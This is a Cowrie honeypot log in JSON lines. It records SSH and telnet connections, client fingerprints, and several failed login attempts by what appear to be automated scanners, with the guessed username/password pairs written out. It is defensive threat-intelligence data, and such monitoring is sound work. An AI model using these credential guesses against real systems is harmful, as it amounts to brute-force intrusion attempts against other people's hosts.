{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51546,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bb0c1387ab7","protocol":"telnet","message":"New connection: 69.4.83.194:51546 (159.203.135.109:23) [session: 2bb0c1387ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:49.720287Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35240,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce94f1b25be8","protocol":"ssh","message":"New connection: 103.98.149.87:35240 (159.203.135.109:22) [session: ce94f1b25be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:54.896850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:54.924952Z","src_ip":"103.98.149.87","session":"ce94f1b25be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:55.288297Z","src_ip":"103.98.149.87","session":"ce94f1b25be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lexmark","message":"login attempt [root/lexmark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:56.464042Z","src_ip":"103.98.149.87","session":"ce94f1b25be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:57.761347Z","src_ip":"103.98.149.87","session":"ce94f1b25be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":39098,"dst_ip":"159.203.135.109","dst_port":22,"session":"0583d0af8680","protocol":"ssh","message":"New connection: 35.225.56.202:39098 (159.203.135.109:22) [session: 0583d0af8680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:03.694530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:03.699736Z","src_ip":"35.225.56.202","session":"0583d0af8680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:03.737936Z","src_ip":"35.225.56.202","session":"0583d0af8680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy1234","message":"login attempt [deploy/deploy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:03.918268Z","src_ip":"35.225.56.202","session":"0583d0af8680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:04.957063Z","src_ip":"35.225.56.202","session":"0583d0af8680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":41406,"dst_ip":"10.17.0.5","dst_port":22,"session":"534978752069","protocol":"ssh","message":"New connection: 156.245.246.50:41406 (10.17.0.5:22) [session: 534978752069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:07.072531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:07.078023Z","src_ip":"156.245.246.50","session":"534978752069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:07.283812Z","src_ip":"156.245.246.50","session":"534978752069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1","message":"login attempt [test/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:08.135109Z","src_ip":"156.245.246.50","session":"534978752069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:09.344514Z","src_ip":"156.245.246.50","session":"534978752069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33060,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d5b67aca41","protocol":"telnet","message":"New connection: 69.4.83.194:33060 (159.203.135.109:23) [session: 08d5b67aca41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:13.112223Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33162,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ee126cdc90","protocol":"telnet","message":"New connection: 69.4.83.194:33162 (159.203.135.109:23) [session: d8ee126cdc90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:13.414092Z"}
{"eventid":"cowrie.session.closed","duration":31.190324306488037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:19.335728Z","src_ip":"69.4.83.194","session":"bfe5d390a425","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98367929458618,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:23.703851Z","src_ip":"69.4.83.194","session":"2bb0c1387ab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":87.46993374824524,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:35.797475Z","src_ip":"178.128.93.180","session":"ab6bd71a8da3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81783628463745,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:46.231825Z","src_ip":"69.4.83.194","session":"d8ee126cdc90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46260,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f88cf863900","protocol":"telnet","message":"New connection: 69.4.83.194:46260 (159.203.135.109:23) [session: 5f88cf863900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:46.639895Z"}
{"eventid":"cowrie.session.closed","duration":34.96584415435791,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:48.077925Z","src_ip":"69.4.83.194","session":"08d5b67aca41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":56482,"dst_ip":"10.17.0.5","dst_port":23,"session":"516c25489079","protocol":"telnet","message":"New connection: 178.128.93.180:56482 (10.17.0.5:23) [session: 516c25489079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:21:54.483104Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57768,"dst_ip":"159.203.135.109","dst_port":23,"session":"be5604e14274","protocol":"telnet","message":"New connection: 69.4.83.194:57768 (159.203.135.109:23) [session: be5604e14274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:14.936391Z"}
{"eventid":"cowrie.session.closed","duration":37.27908706665039,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:23.918871Z","src_ip":"69.4.83.194","session":"5f88cf863900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30694,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e15fcb41ea3","protocol":"ssh","message":"New connection: 194.59.206.2:30694 (159.203.135.109:22) [session: 9e15fcb41ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:26.314277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:26.318841Z","src_ip":"194.59.206.2","session":"9e15fcb41ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:26.400305Z","src_ip":"194.59.206.2","session":"9e15fcb41ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:26.486494Z","src_ip":"194.59.206.2","session":"9e15fcb41ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":43990,"dst_ip":"10.17.0.5","dst_port":23,"session":"3772d0a2d6f4","protocol":"telnet","message":"New connection: 178.128.93.180:43990 (10.17.0.5:23) [session: 3772d0a2d6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:29.554700Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":45126,"dst_ip":"159.203.135.109","dst_port":22,"session":"f81b272f1d3f","protocol":"ssh","message":"New connection: 35.225.56.202:45126 (159.203.135.109:22) [session: f81b272f1d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:34.288122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:34.293650Z","src_ip":"35.225.56.202","session":"f81b272f1d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:34.333495Z","src_ip":"35.225.56.202","session":"f81b272f1d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@1234","message":"login attempt [root/Cloud@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:34.508235Z","src_ip":"35.225.56.202","session":"f81b272f1d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:35.547536Z","src_ip":"35.225.56.202","session":"f81b272f1d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":47620,"dst_ip":"159.203.135.109","dst_port":22,"session":"118af3c97de4","protocol":"ssh","message":"New connection: 182.52.90.106:47620 (159.203.135.109:22) [session: 118af3c97de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:37.246350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:37.251108Z","src_ip":"182.52.90.106","session":"118af3c97de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:37.508640Z","src_ip":"182.52.90.106","session":"118af3c97de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:38.576981Z","src_ip":"182.52.90.106","session":"118af3c97de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:39.837110Z","src_ip":"182.52.90.106","session":"118af3c97de4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":43688,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ac1d34b5650","protocol":"ssh","message":"New connection: 156.245.246.50:43688 (10.17.0.5:22) [session: 4ac1d34b5650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:43.684834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:43.689632Z","src_ip":"156.245.246.50","session":"4ac1d34b5650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:43.893026Z","src_ip":"156.245.246.50","session":"4ac1d34b5650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa@147258","message":"login attempt [root/aa@147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:44.741322Z","src_ip":"156.245.246.50","session":"4ac1d34b5650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:45.955864Z","src_ip":"156.245.246.50","session":"4ac1d34b5650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42094,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc629128d1b5","protocol":"telnet","message":"New connection: 69.4.83.194:42094 (159.203.135.109:23) [session: dc629128d1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:46.143260Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":37886,"dst_ip":"10.17.0.5","dst_port":22,"session":"f809dce91dd0","protocol":"ssh","message":"New connection: 103.77.175.15:37886 (10.17.0.5:22) [session: f809dce91dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:46.165130Z"}
